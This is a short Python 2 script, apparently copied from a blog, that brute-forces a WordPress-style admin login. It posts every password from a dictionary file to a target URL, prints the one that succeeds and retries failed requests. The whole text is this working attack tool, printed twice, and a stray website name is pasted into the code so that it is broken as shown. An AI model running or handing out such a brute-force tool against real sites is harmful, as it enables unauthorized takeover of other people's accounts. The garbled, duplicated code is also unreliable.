#Coding = UTF-8
02 import urllib, time, sys
03
04 start = time.time()
05 errors = []
06 def exploit(url, name, dictionary):
07 for line in open(dictionary):
08 line = line.strip()
09 try:
10 data = urllib.urlencode({'log':name,'pwd':line,'redirect_to':''})
11 content = urllib.urlopen(url, data)
12 if content.read() == '':
13 print "Password is : %s" % line
14 print time.time() - start
15 sys.exit()
16 else: www.2cto.com
17 print "try %s failed" % line
18 except IOError:
19 errors.append(line)
20 print "try %s occurs IOERROR, add to list and retry it later" % line
21
22 if __name__ == "__main__":
23 if len(sys.argv) < 4:
24 print 'Usage: Url AdminName Dictionary'
25 sys.exit(1)
26 exploit(sys.argv[1], sys.argv[2], sys.argv[3])
27 while errors:
28 for i,line in enumerate(errors):
29 try:
30 data = urllib.urlencode({'log':sys.argv[2],'pwd':line,'redirect_to':''})
31 content = urllib.urlopen(sys.argv[1], data)
32 if content.read() == '':
33 print "Password is : %s" % line
34 print time.time() - start
35 sys.exit()
36 else:
37 print "try %s failed" % line
38 del errors[i]
39 except IOError:
40 errors.append(line)
41 print "try %s occurs IOERROR, add to list and retry it later" % line
42 print time.time() - start
摘自 yezi 's blog
02 import urllib, time, sys
03
04 start = time.time()
05 errors = []
06 def exploit(url, name, dictionary):
07 for line in open(dictionary):
08 line = line.strip()
09 try:
10 data = urllib.urlencode({'log':name,'pwd':line,'redirect_to':''})
11 content = urllib.urlopen(url, data)
12 if content.read() == '':
13 print "Password is : %s" % line
14 print time.time() - start
15 sys.exit()
16 else: www.2cto.com
17 print "try %s failed" % line
18 except IOError:
19 errors.append(line)
20 print "try %s occurs IOERROR, add to list and retry it later" % line
21
22 if __name__ == "__main__":
23 if len(sys.argv) < 4:
24 print 'Usage: Url AdminName Dictionary'
25 sys.exit(1)
26 exploit(sys.argv[1], sys.argv[2], sys.argv[3])
27 while errors:
28 for i,line in enumerate(errors):
29 try:
30 data = urllib.urlencode({'log':sys.argv[2],'pwd':line,'redirect_to':''})
31 content = urllib.urlopen(sys.argv[1], data)
32 if content.read() == '':
33 print "Password is : %s" % line
34 print time.time() - start
35 sys.exit()
36 else:
37 print "try %s failed" % line
38 del errors[i]
39 except IOError:
40 errors.append(line)
41 print "try %s occurs IOERROR, add to list and retry it later" % line
42 print time.time() - start
摘自 yezi 's blog